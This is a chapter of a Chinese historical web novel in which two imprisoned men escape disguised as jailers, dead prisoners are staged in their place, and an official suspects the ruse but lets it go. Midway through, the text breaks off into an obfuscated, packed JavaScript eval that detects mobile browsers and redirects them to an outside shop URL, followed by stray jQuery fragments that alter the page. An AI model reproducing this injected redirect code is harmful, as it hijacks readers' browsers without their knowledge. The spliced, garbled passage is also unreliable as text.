刑部大牢最深处那几间单独牢房，常年不见天日。


    石壁上沁着水珠，一滴一滴往下落，砸在潮湿的地面上，发出空洞的回响。空气里有股散不去的霉味，混着血腥气、汗臭味，还有便溺的骚气，闻久了让人头脑发昏，胸口发闷。


    陈五和周石头关在相邻的两间牢房里。铁栅栏很粗，碗口大小，中间隔着一条狭窄的走道。他们进来三天了，身上都带了伤——鞭痕纵横交错，有些地方皮肉翻开，结了暗红色的血痂。但这不算什么，北疆风沙里滚出来的人，骨头硬，皮肉苦还能忍。


    真正难熬的是等。


    等下一次提审，等下一轮刑讯，等不知道什么时候会来的死亡，或者……希望。


    第三天深夜，甬道尽头传来脚步声。


    很轻，但很有规律。不是狱卒巡夜那种拖沓的步子，也不是刑吏那种凶横的踏步。是种刻意的、压低的步调，在寂静的牢狱里格外清晰。


    陈五睁开眼。他靠坐在墙角，身上只穿着一件单薄的囚衣，血迹已经干涸，和布料粘在一起，一动就扯着伤口疼。但他没出声，只是静静听着。


    脚步声在牢房外停下。


    灯笼的光晕从栅栏缝隙透进来，在地上投下一小片昏黄。然后是一串钥匙碰撞的轻响，铁锁被打开，牢门吱呀一声推开。


    一个穿着狱吏服色的人走了进来。年纪四十上下，面色黝黑，眼角有深刻的皱纹，手里提着一盏气死风灯。灯光照在他脸上，那张脸很普通，是扔进人堆里就找不出来的那种，只有那双眼睛，在昏暗中闪着一点锐利的光。


    陈五认识他。这人姓陈，是容璎早年埋在大牢里的钉子，平日里做最低等的杂役，扫洒、送饭、巡夜，毫不起眼。入狱这三天，老陈来送过两次饭，每次都在碗底多放半块干饼，眼神交汇时微微点头。


    但今夜不一样。


    老陈没带饭食，也没说话。他走到陈五面前，蹲下身，灯笼放在地上，光晕正好笼住两人。然后他从怀里掏出两套破旧的狱卒号衣，灰扑扑的，沾着油渍和污迹，还有两顶半旧的毡帽。


    “换上。”他声音压得极低，几乎是从喉咙里挤出来的，“外面乱了，柳党和高家吵起来了。现在是最好的时机。”


    陈五没动，只是看着他。


    老陈似乎明白他在想什么，又补充了一句：“是陆将军的意思。东家让我传话，说‘是时候了’。”


    东家，指的是容璎。


    陈五眼神微动，伸手接过号衣。布料粗糙，带着一股霉味，但比身上这件沾满血污的囚衣好太多。他动作很快，忍着伤口的疼痛，三两下就把号衣套在外面，又戴上了毡帽。帽子压得很低，遮住了大半张脸。


    周石头那边，老陈也给了同样的号衣。两人迅速换好，看起来就像两个寻常的、值夜打杂的狱卒。


    老陈又从怀里掏出一个小布包，里面是些灰黑色的药膏。他示意两人伸出手，用药膏在他们脸上、手上涂抹了几下。药膏带着刺鼻的气味，抹上去后皮肤的颜色暗沉了不少，还添了些污迹，看上去更像常年劳作的苦役。


    做完这些，老陈指了指牢房角落。那里躺着两个人，穿着和他们刚才一样的囚衣，蜷缩在阴影里，一动不动。灯光照过去，只能看到模糊的侧脸，还有凌乱的头发。


    “死囚。”老陈言简意赅，“本就病重，活不过今夜。服了药，看起来像暴毙。”


    陈五看了一眼那两人，没说话。他知道这是金蝉脱壳必须的“壳”，也知道这“壳”的代价。但他没时间多想，也没资格多想。


    “走。”老陈提起灯笼，转身出了牢房。


    陈五和周石头跟在他身后，低着头，脚步放得很轻。牢房的门重新锁上，钥匙声在寂静的甬道里格外清晰。


    他们沿着甬道往前走。两侧的牢房里，有些犯人醒了，睁着空洞的眼睛看着他们，但没人出声。在这种地方，多看少说是保命的第一要诀。


    转过两个弯，迎面遇到一队巡夜的狱卒。领头的是个络腮胡的汉子，提着灯笼，腰里挂着铁尺，眼神凶悍。


    老陈停下脚步，微微躬身：“王头儿。”


    那络腮胡瞥了他一眼，目光又扫过他身后的陈五和周石头，皱了皱眉：“这两个面生。”


    “新来的。”老陈赔笑道，“管库房的刘爷病了，临时从外面调了两个杂役，帮忙清点刑具。这不，刚带他们熟悉熟悉路子。”


    络腮胡又看了两眼，似乎没发现什么异常，挥了挥手：“赶紧的，别乱晃。”


    “是是是。”


    老陈领着两人继续往前走。转过拐角，陈五才感觉到自己后背已经被冷汗浸湿了。刚才那一眼，若是被认出来……


    但老陈脚步不停，一直走到甬道尽头，那里有一扇不起眼的小门，门板很厚，铁皮包边，上面挂着一把大锁。他从腰间解下一串钥匙，找到其中一把，插入锁孔，轻轻一转。


    锁开了。


    门推开，外面是更深的黑暗，还有一股混杂着泥土和腐叶的气味。


    这是大牢外墙根的一处排水暗渠，平日里只有污水从这里流过，出口被杂草和乱石掩盖，鲜少有人知道。但老陈显然很熟悉，他矮身钻出去，又回头示意两人跟上。


    陈五和周石头一前一后，爬出暗渠。外面是片荒地，杂草丛生，远处隐约能看到城墙的轮廓。夜风吹过来，带着深秋的寒意，吹散了牢里那股令人作呕的气味。


    暗渠出口旁，站着两个人。


    都穿着深色短打，蒙着面，只露出一双眼睛。其中一人身形高大，站姿挺拔，即便蒙着脸，陈五也一眼认出——是陆沉舟。


    陆沉舟没说话，只是上前一步，伸手在陈五肩上按了按。力道很重，带着某种沉甸甸的东西。然后他转头对老陈点了点头。


    老陈会意，低声说了句：“告诉东家，老陈这条线，到此为止。”


    说完，他转身，沿着荒地向另一个方向走去，身影很快消失在夜色里。


    陆沉舟收回目光，对身后另一人打了个手势


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084322|195362||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。那人立刻上前，背起陈五，另一个人背起周石头，脚步如飞，朝着更远处的黑暗奔去。


    陆沉舟留在原地，目送他们消失，又在周围仔细查看了一遍，确认没有留下痕迹，这才转身离开。


    夜风吹过荒地，杂草簌簌作响，很快掩盖了所有声响。


    ***


    次日清晨，刑部大牢炸开了锅。


    那两间单独牢房里，两名“要犯”被发现“突发急病，已于夜间暴毙”。尸体蜷缩在角落，面色青紫，口鼻有血沫，看起来像是某种急症。狱卒们慌了神，连忙上报。


    消息一层层递上去，最后到了柳承宗耳朵里。


    他当时正在书房用早膳，听完禀报，筷子顿在半空，片刻后才缓缓放下。


    “死了？”他问，声音听不出情绪。


    “是。”禀报的吏员低着头，“仵作验过了，说是肺痨急发，猝死。尸体……已经有些味道了。”


    柳承宗沉默了很久。


    肺痨？那两人入狱时，虽受了刑，但精神尚可，不像有痨病的样子。而且早不死晚不死，偏偏在这个节骨眼上……


    “带我去看看。”他说。


    刑部大牢最深处的牢房里，两具尸体并排放在草席上，盖着白布。柳承宗走进去，没靠近，只是远远看了一眼。白布下的身形，确实和之前那两人差不多。脸被布遮着，看不清。


    他示意旁边的刑部官员揭开白布。


    布揭开，露出一张青紫肿胀的脸，五官扭曲，几乎辨不出原貌。但轮廓、身形、甚至头发长短，都确实像。


    柳承宗盯着那两张脸看了很久。


    直觉告诉他，不对劲。


    太巧了。流言刚起，高家刚闹，这两个人就“暴毙”了。而且死得这么“干净”，这么“及时”。


    但他没有证据。


    仵作的验尸记录上白纸黑字写着“肺痨急发”，牢里的狱卒也都作证，说昨夜巡夜时还听到两人咳嗽，今早就没了声息。一切看起来天衣无缝。


    而且高家那边，正抓着流言的事不放，在朝堂上咬着他穷追猛打。这个时候，他若再揪着这两个“死人”不放，只会让高家觉得他心虚，是在转移视线。


    权衡利弊，柳承宗最终挥了挥袖子。


    “监管不力，疏于职守。”他冷冷道，“刑部上下，罚俸三月。相关人等，革职查办。至于这两个死人……扔去乱葬岗，烧了。”


    说完，他转身离开牢房，没再回头。


    身后的刑部官员们松了口气，连忙应诺。


    柳承宗走出大牢，上了马车。车厢里，他闭上眼，靠在软垫上，手指在膝上轻轻敲击。


    一次，两次，三次……


    不对劲。


    但他现在没时间细究。


    高家那条疯狗，还在等着他去应付。


    马车驶出刑部衙门，朝着皇宫方向而去。


    车窗外，天色阴沉，像是要下雨。


    一场更大的风暴，正在酝酿。